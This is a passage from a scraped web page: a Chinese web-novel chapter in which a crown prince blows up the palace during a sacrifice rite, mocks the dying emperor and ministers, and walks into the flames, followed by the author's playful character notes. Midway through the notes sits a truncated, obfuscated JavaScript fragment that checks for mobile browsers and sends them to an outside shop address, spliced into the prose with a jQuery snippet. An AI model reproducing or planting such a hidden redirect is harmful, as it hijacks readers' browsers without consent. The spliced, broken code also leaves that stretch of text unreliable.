祭天前夜,万籁俱寂,唯有宫中为明日准备的灯火次第亮起,勾勒出皇城肃穆的轮廓。 莫忘之独自立于东宫殿外的高台上,仰望着被灯火映照得泛红却无星无月的天空,眼神空洞,仿佛在凝视着轮回的尽头。 寒风凛冽,吹动他素白的衣袂,他却感觉不到丝毫冷意。他的目光仿佛穿透了重重宫阙,落在了遥远北境那冰冷的荒原上。 他最后一次召见了那位一直为他传递消息的心腹内侍。 “明日,你去京郊皇觉寺,”他的声音依旧温和,听不出任何异样,“为……边关将士,点一盏长明灯。” 他将一袋足够那内侍安稳度过余生的金叶子推过去。 “不必再回来了。” 内侍愕然抬头,对上莫忘之那双在烛火下平静得令人心悸的眼睛。那里面没有杀意,没有疯狂,只有深不见底的平静。内侍瞬间明白了什么,一股寒意从脚底直窜头顶,他重重磕了个头,喉头哽咽,却一个字也说不出,只得退下后迅速消失在夜色中。 殿内重归寂静。 莫忘之走到案前,那里放着明日祭天他要穿的那庄重繁复的玄色祭服。他伸出手,指尖拂过冰凉的绸缎,上面以金线绣着日月星辰,山川社稷。 那盏不再点燃的琉璃宫灯也被他重新拿起,他的指尖轻轻地拂过冰冷的灯罩,上面精致的云鹤纹路硌着指腹。 然后,他吹熄了殿内最后一盏烛火。 冬至,子时正。 紫宸殿前广场,祭天大典如期举行。 旌旗在寒风中猎猎作响,巨大的青铜鼎中燃烧着珍贵的香木,烟雾缭绕,试图连接凡尘与上天。 文武百官按品阶跪伏于地,神情肃穆。国师身着繁复法衣,手持玉圭,立于祭坛中央,念诵着古老而冗长的祷文,声音空灵,仿佛真能上达天听。宰相率领核心官员,紧随其后,姿态虔诚。 老皇帝则高坐于御座之上,裹着厚重的裘袍,面色在烟气与灯火的映照下,更显灰败衰朽,唯有那双浑浊的眼睛里,还残留着一丝对长生的渴望与对国运的恐惧。 莫忘之作为太子,立于御座之侧稍前的位置,一身玄色祭服衬得他身形愈发清癯挺拔。他垂着眼睫,面容平静无波,一丝不苟地履行着所有仪式步骤——递上三牲祭品,点燃线香……动作流畅标准,姿态优雅从容,比以往任何一次祭祀都更显庄重,引得暗中观察的几位宗室老王爷微微颔首。 仪式在庄严肃穆的气氛中逐渐推向高潮。国师挥舞起桃木法剑,步罡踏斗,吟哦之声愈发高亢,祈求上苍降下福祉,涤荡国运阴霾。百官随之山呼万岁,声浪如潮,在寒冷的夜空中回荡,仿佛真能撼动天听。 也就在这时,莫忘之微微抬起了眼。 他的目光没有看向祭坛,没有看向百官,甚至没有看向他那象征性的父皇,而是越过了重重宫阙,平静地投向了北方的夜空。那里,是他的师姐与师弟的魂归之处。 他轻轻吁出一口气,白色的雾气在寒冷的空气中迅速消散。那叹息里没有悲伤,没有不舍,只有一种……终于近乎轻松的释然。 “轰——!!!” 第一声爆炸,并非来自近处,而是来自宫墙的东南角!那里,正是堆放最多“祭祀烟花”与“冗余灯油”的区域。 一团巨大到令人窒息的赤红悍然腾空而起,瞬间撕裂了夜的宁静,将那片天空映照得如同血腥的白昼,巨大的声浪裹挟着灼热的气流,席卷而来,震得整个广场地面都在颤抖! 这仅仅是开始,如同沉睡的火山接连苏醒,爆炸声从皇城的各个方向各个被莫忘之精心计算过的节点,此起彼伏地疯狂地炸响。 “轰隆——!!!” “砰砰砰砰——!!!” 庄严肃穆的祭典现场,瞬间化作了人间炼狱! 香炉被冲击波掀翻,燃烧的香灰与木炭四处飞溅,瞬间点燃了精美的帷幔与官员们的袍袖。烛台倒地,火焰贪婪地舔舐着一切可燃之物。人们惊恐的尖叫,绝望的哭嚎,推搡践踏的闷响与持续不断的爆炸声,建筑倒塌的轰鸣混合在一起,形成了一首绝望的祭歌。 爆炸从外围和多个方向同时发生,通往宫外或相对安全区域的主要通道,要么被倒塌的建筑堵塞,要么被迅猛的火势封死。极致的恐惧摧毁了秩序。官员侍卫像无头苍蝇般乱撞,互相践踏,反而堵死了本就不宽的通道。 国师宰相等人养尊处优,何曾经历过这等场面,腿脚发软,惊恐失措,只能本能地朝着看似最安全的御座方向,也就是莫忘之所在的位置退缩。 而祭坛本身位于一处相对开阔的汉白玉高台上,视野好,却也暂时相对“安全”。但这高台通往下面的台阶和通道,恰好处于火势蔓延最快的区域。当贵人们惊惶失措地想往下冲时,面对的是熊熊烈火和不时发生的新的爆炸,将他们逼退回高台。 于是,在这片混乱与绝望的中心,形成了一幅诡异的图景。装饰华丽的祭坛高台暂时未被火焰吞噬,却已被四面八方合围的火海与爆炸孤立,如同暴风眼中的一叶孤舟。 老皇帝瘫在御座上,剧烈地咳嗽着,面无人色。宰相试图指挥残存的侍卫开路,却被慌乱的人群冲撞得官帽歪斜,袍带断裂。国师的道袍被火星燎破,脸上沾着灰烬与不知是谁的血,再无半分仙风道骨,只剩下极致的恐惧与狼狈。 而莫忘之,依旧静立在原地。玄色祭服在灼热的气浪中狂舞,身后是不断崩塌的宫殿和冲天烈焰。他的脸上没有任何惊慌,甚至没有什么表情,只有一种近乎漠然的平静,仿佛眼前毁天灭地的景象,不过是一场无趣的烟火表演。 他先看向旁边被侍卫搀扶着却因腿软而瘫坐在地,试图向边缘爬行的宰相,唇角弯起一个带着寒意的弧度。 “宰相大人,”他的声音依旧平和,甚至带着闲聊般的随意,却穿透了爆炸的轰鸣与人群的惨嚎,清晰地传入对方耳中,“您一生追逐权势,结党营私,将朝堂视为私产,视黎民如草芥。” 他看着宰相肥胖的脸上肌肉抽搐,涕泪横流,“您看,您苦心经营的派系,您引以为傲的权柄,”他抬手指了指周围冲天烈焰,崩塌的殿宇和哀嚎的人群,“此刻正化作这漫天火雨,亲自来送您最后一程。感觉如何?可还……满意?” 宰相喉咙里发出“咯咯”的声响,想反驳,却只有□□处迅速洇湿了一片,散发出骚臭的气味。 莫忘之的目光没有丝毫波澜,轻飘飘地转向了满脸是血,道冠歪斜的国师。 “国师。”他唤道,声音里甚至带上了一点虚假的惋惜,“您终日炼丹问道,追求长生不死,妄图解构天地至理,以鬼神之说蛊惑圣心。” 他指向那被火光映得如同白昼却又在不断爆炸中战栗的天空,微笑着,一字一句地问道:“那么此刻,您可曾算到……自己的飞升之期,就在今朝?您那无上道法,可能挡得住这人间烟火?” 国师的眼神中充满了信仰崩塌般的绝望与崩溃,手中的法剑“当啷”一声掉在地上。 最后,莫忘之的目光,落在了御座上那具行将就木的躯壳上。 老皇帝挣扎着伸手指向他,喉咙里发出“嗬嗬”的怪响,浑浊的 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他的目光扫过那些在火焰中燃烧崩塌的殿宇。 “毕竟,连这承载记录的宫殿,儿臣也体贴地……一并烧给您了。” 老皇帝浑身剧烈地颤抖起来,眼睛暴突,猛地喷出一口浓稠的黑血,指着他的手颓然垂下,眼神开始涣散,只剩下无尽的恐惧与绝望,凝固在那张苍老的脸上。 “疯……疯子!你这个彻头彻尾的疯子!!” 终于,另一边被弟子勉强扶起,道袍染血狼狈不堪的国师,挣扎着嘶吼出声,声音因极致的恐惧与信仰崩塌而扭曲变形,他指着莫忘之,“你毁了江山社稷!毁了历代先帝的心血!屠戮如此多生灵,你不得好死!永世不得超生!!!” 莫忘之侧过半张脸,爆炸的火光在他平静的侧脸上投下明暗交织的影,将他右眼角与唇角那两点淡痣映得有些模糊。他甚至有些慵懒地干笑了一声,仿佛听到了一个无聊的笑话。 “哈哈,或许吧。” 他语气淡然,带着一种超越道德的漠然,“那我也是个……足够心善的疯子了。至少,我给了他们挣扎的机会。” 他的目光掠过国师和宰相,投向高台之下。在那里穿着低级宦官与宫女服饰的身影,正惊恐地沿着通往宫墙边缘的狭窄通道奔逃,那是他预留的唯一生路。火光映照着他们仓皇的背影,与高台上这些深陷绝境的朱紫贵人们形成了绝望的对比。 宰相顺着他的目光看去,看到了那些逃窜的“蝼蚁”,又看了看自己这边如同铜墙铁壁般的火海,瞬间明白了这其中的刻意安排,一股荒谬绝伦的愤怒压倒了对死亡的恐惧,他目眦欲裂地嘶吼:“你!你故意放走那些贱民?!却将我们……你将我们留在此地?!你凭什么?!他们凭什么能活?!” “凭什么?” 莫忘之微微偏头,像是听到了一个极其幼稚的问题,眼神里甚至流露出一丝怜悯,“在这座吃人的宫殿里,谁手上真正干净?我给的,不是生路,是选择。一条留给还有力气挣扎,还想活下去的微小可能。” 他的目光再次扫过那些奔逃的渺小身影,语气平淡得像在陈述天气。 “至于他们离开这牢笼后,是死于即将到来的乱世,还是能搏出一线生机……”他顿了顿,声音里透出一种冷酷的慈悲,“那就看他们自己的造化了。” “因为我只负责送你们一程,” 他的目光扫过皇帝宰相国师,以及附近那些面无人色的宗室高官,像是在陈述一条无关紧要的注意事项,“不负责保佑他们一生。” “你,你!你这个疯子!恶鬼!你会遭天谴的!!” 宰相用尽最后的力气嘶吼,声音因恐惧而变调,徒劳地试图用最恶毒的诅咒撼动眼前之人的平静。 “…天谴?” 莫忘之重复着这个词,右嘴角那颗痣在火光映照下仿佛也带着讥诮的意味。 “宰相大人,不必为我担忧。” 他轻松得像是在谈论天气,眼神却空茫地望向天空,仿佛在与某个无形的存在对话。“我的存在本身,就在遭受一场漫长到……连我自己都数不清轮回了的天谴。” 但他似乎不愿在这个无聊的话题上再多费唇舌,转瞬又聚焦回眼前这片他亲手造就的炼狱。 “毕竟,” 莫忘之的声音依旧平淡,却像重锤一次次敲打在摇摇欲坠的宫殿之上,也敲打在幸存者濒临崩溃的神经上,“你们以为,这是我第一次做这种事吗?” 宰相和国师,乃至附近一些能听到他话语的幸存者,都瞬间僵住,一种比死亡更深的,涉及存在根本的寒意攫住了他们。 莫忘之微微扬起下巴,视线仿佛穿透了燃烧的宫殿,望向了无尽虚空的某处,望向了那纠缠他无数世的无始无终的轮回。 “盛世,乱世,王朝崛起,帝国倾颓……我见过太多了。” 他像是在自言自语,又像是在陈述一个古老而枯燥的事实,“坐在那个位置上的,可以是所谓的英主,可以是暴君,也可以是你们这样的蠹虫,结局其实都差不多。封建社会翻来覆去就是那些东西,不过是城头变换大王旗,最终变为后世史书——教科书上的几行铅字,或许连必背知识点都算不上。” 他的目光重新落回宰相和国师身上,带着一种令人绝望的熟稔与……厌倦。 “争权夺利,结党营私,炼丹求长生……你们玩的这套把戏,我早就腻了。” 他甚至有些无奈地摇了摇头,像是一个观众在看一出重复了千百遍,蹩脚到令他打哈欠的戏剧。“每一次,都以为会有点新意,结果,你们也并不比前人更高明。” 说罢,莫忘之不再理会那彻底死寂的绝望,而是转回老皇帝面前。 “你也不是第一个死在我面前的皇帝。” 他补充道,声音里听不出任何情绪,“当然,也不会是最后一个……如果,还有下次的话。” 他的“父皇”,帝国的象征,此刻像一具被抽空了所有权势与尊严的破败木偶,双眼因极致的恐惧与愤怒而微微凸出,死死盯着这个他从未真正了解过的“儿子”。 莫忘之微微俯身,动作优雅得像是在行礼,伸出的手却并非为了搀扶,而是将微凉的指尖,极其轻佻地,如同逗弄一只不听话的宠物般,拍了拍老皇帝那松弛下垂,布满褶皱的脸颊。 “啪。啪。” 动作很轻,几乎不可闻,在周遭的爆炸与燃烧声中更是微不足道。但那声音,那姿态,其中蕴含的侮辱意味,却重逾千斤,彻底碾碎了帝王最后一丝尊严。 老皇帝喉咙里发出“咯咯”的怪响,眼球暴突,仿佛想将眼前这个“逆子”生吞活剥,却连一点点力气都凝聚不起来。 “看,”莫忘之的声音里带着一种奇异的蛊惑力,“这就是你穷尽一生,用无数骸骨堆砌,用至亲鲜血浇灌,所追求的……至高皇权。” “从此,你与这你最珍视的江山社稷,与这赖以维系权力的朱紫公卿,真正是同年同月同日死,与天地同寿,与社稷,共朽。” “这份孝心,天地可鉴。” “所以,”他直起身,最后看了一眼那彻底僵住,连最后一丝生气都被这诛心之言冻结的“父皇”,轻飘飘地掷下最后一句: “不必谢我。” 话音落下的瞬间,老皇帝的身体猛地一僵,那双浑浊的眼睛彻底涣散,头颅无力地歪向一边,气息断绝。至死,他都没能闭上那双充满了惊惧荒谬与绝望的眼睛。 莫忘之脸上那点虚假的笑意如同潮水般褪去,重新回归一片冰冷的平静,仿佛只是随手完成了垃圾清理前的最后一道确认程序。 他彻底地转过身,步伐稳定,从容不迫,如同漫步在云端,径直走向那吞吐着烈焰的巨鼎。 鼎身被烧得通红,上面雕刻的日月星辰,山川社稷在高温下扭曲变形,仿佛象征着这个王朝最终的命运。 玄色的祭服在灼热狂乱的气流中猎猎狂舞,周围的火焰咆哮着,热浪扭曲了空气,将下摆燎出焦痕,他却恍若未觉。 爆炸在他身边继续,燃烧飞舞的断木碎瓦不时砸落在他身前身后,他却视若无睹,步伐没有丝毫紊乱。那不断合围的火焰,仿佛不是毁灭,而是迎接他归去的仪仗。 他不需要站在高处见证终局。 因为他就是终局本身,亦是最后的祭品。 在所有人的注视下——无论是将死之人的绝望,还是奔逃者的惊鸿一瞥——他平静而义无反顾地,走入了那片最为炽热的中心。 “轰——!” 玄色的身影瞬间被赤红的火焰吞没,包裹,祭服上的金线在火中发出最后一道耀眼的光芒,随即化为飞灰。如同一只被禁锢了太久太久的飞蛾,终于挣脱了所有束缚,扑向了它追寻一生的光与热。 烈火依旧在燃烧,崩塌仍在继续,旧朝在轰鸣中走向终结。 而那曾提着琉璃宫灯,给予温暖与名字的身影,已与这焚尽一切的烈焰融为一体,再无踪迹。 祭天,终成葬天。 亦是,焚我于仇雠之侧,葬我于众生之巅。 人间别久,或许真的不会再悲。 *标题化用姜夔词,意指悲痛到极致反而归于可怕的平静。 42. 人设补充 燕师姐英气勃发飒爽如风!如一团行走的火焰,充满鲜活的生命力与力量感(师姐魁梧有力高大威猛)发型为利落的高马尾,右耳侧有一缕同样编起的细辫,与玉凌绝相对。 眉心一颗鲜明灼眼的朱砂痣,有健康的小麦色肌肤,身形挺拔,肌肉线条流畅分明,眼眸黑中带红,眼睛亮得惊人具有感染力。经常带着酒葫芦,常着利落的暗红色劲装,行动间洒脱自如。 玉凌绝长相比较阴郁,凌乱的黑发中掺着几缕标志性的暗青色发丝。左耳侧有一缕细小的麻花辫,用红线系住,夹着一缕青色发丝。 眼眸黑中带青,色泽类似深潭中的墨玉,肤色苍白,代表色为暗青色,常着暗青色衣袍,与他的发色眸色融为一体。体型清瘦,但抽条后身形挺拔,渐显力量感。 莫忘之长得非常普通,平平无奇没什么好说的,右眼角和右嘴角有淡淡的小痣。是个淡人,很清瘦,动物塑是乌鸦(寸不已此人在作者这里完全是逆子一枚,要是写他长得很好看我会忍不住辱追之男人也可以这么美丽吗.jpg) 玉凌绝嗜甜,尤其是做成小鱼形状的糖糕。但自己觉得爱吃甜食很幼稚,会偷偷吃,被发现了会有点恼羞成怒。最喜欢吃鱼,且擅长挑刺(各种意义上)会默默挑走最好的部位。 燕沧溟嗜辣,口味如其人,直接热烈而充满生命力。她的爱好和她的人格一样,坦荡鲜明,从不掩饰。 莫忘之纯正老人口味,清淡饮食,对浓烈的酸甜苦辣咸都敬而远之。对食物没有追求,吃饭更像完成一项维持身体机能的任务。自己吃得像在修仙,却能做出精致的甜点和火辣的菜肴专门做给那两个人,虽然无法理解另外两人对重口味的执着。 玉凌绝是天生卷王,真正的六边形战士,学什么都快得惊人,且会逼自己做到最好。这是他肛欲期对秩序和控制感渴望的体现,他需要通过“做到最好”来确认自己的存在和价值,弥补内心的不安。唯一滑铁卢可能就是音乐品味(玉凌绝在现代真的是喜欢听来财和大展鸿图的老板。)但他自己绝不承认。 燕沧溟也是天赋型选手,平时随性,认真起来潜力巨大。这符合她健康的自我,学习是为了实用和快乐,而非填补内心空洞,因此能保持张弛有度的健康状态。可惜厨艺还是一塌糊涂。 莫忘之才是三人里最平庸的,纯靠活得久把经验值点满。他的“全能”是一种绝望的熟能生巧,是无数失败堆积出的成功,背后是千年重复的疲惫,毫无天才的灵光。 在需要创造力和天赋的艺术领域,时间也救不了他。他深知此乃天命不可违,因此在外永远保持一副高深莫测,不屑于此道的模样。你让他弹琴还不如让他去杀个人来得轻松。他所有的“风雅”都是基于知识和经验的模仿,而非发自内心的创造与感受。(谁家ai) 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105196|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >玉凌绝超绝一杯倒体质,直接从根源上罢黜了酒桌陋习(。)酒后不会闹,只会安安静静地坐着,眼神发直,偶尔会紧紧盯着莫忘之让对方汗流浃背。 燕沧溟千杯不醉。是能在酒桌上放倒整个军营的真豪杰。 莫忘之喝不醉。酒精对他无限轮回身体无效(还想借酒消愁?门都没有)但他会陪着浅酌,主要负责在玉凌绝喝多后把他捞回去,以及在燕沧溟喝高兴大喊“再来一坛”时,无奈地笑着摇头。 玉凌绝睡觉极其安静,几乎不翻身,但一有风吹草动就会立刻惊醒,眼神清明得像从未睡着。他真的是那种会在枕头下面放匕首的人(…) 燕沧溟沾枕就着,睡眠质量极高,雷打不醒。 莫忘之闭目养神就能恢复精力,天选极品牛马灵根,资本家用了都说好。 玉凌绝批奏折批到烦躁时,会无意识地把毛笔当簪子,插进自己的发髻里,顶着一支笔继续蹙眉沉思。(什) 玉凌绝是天生的帝王命,九五之尊的天子命格,无论哪个故事哪个时代他都会万人之上,但相对应他的亲朋好友都因为承受不起他这高贵又充满戾气的帝王命而被早早克死(有点废九族。) 燕沧溟是与帝王命相对的将军命,命里也戾气重亲情缘薄,而莫忘之作为穿越者的特殊命格不会受到他们的影响,三个人是命中注定的三人组!(???????)?*。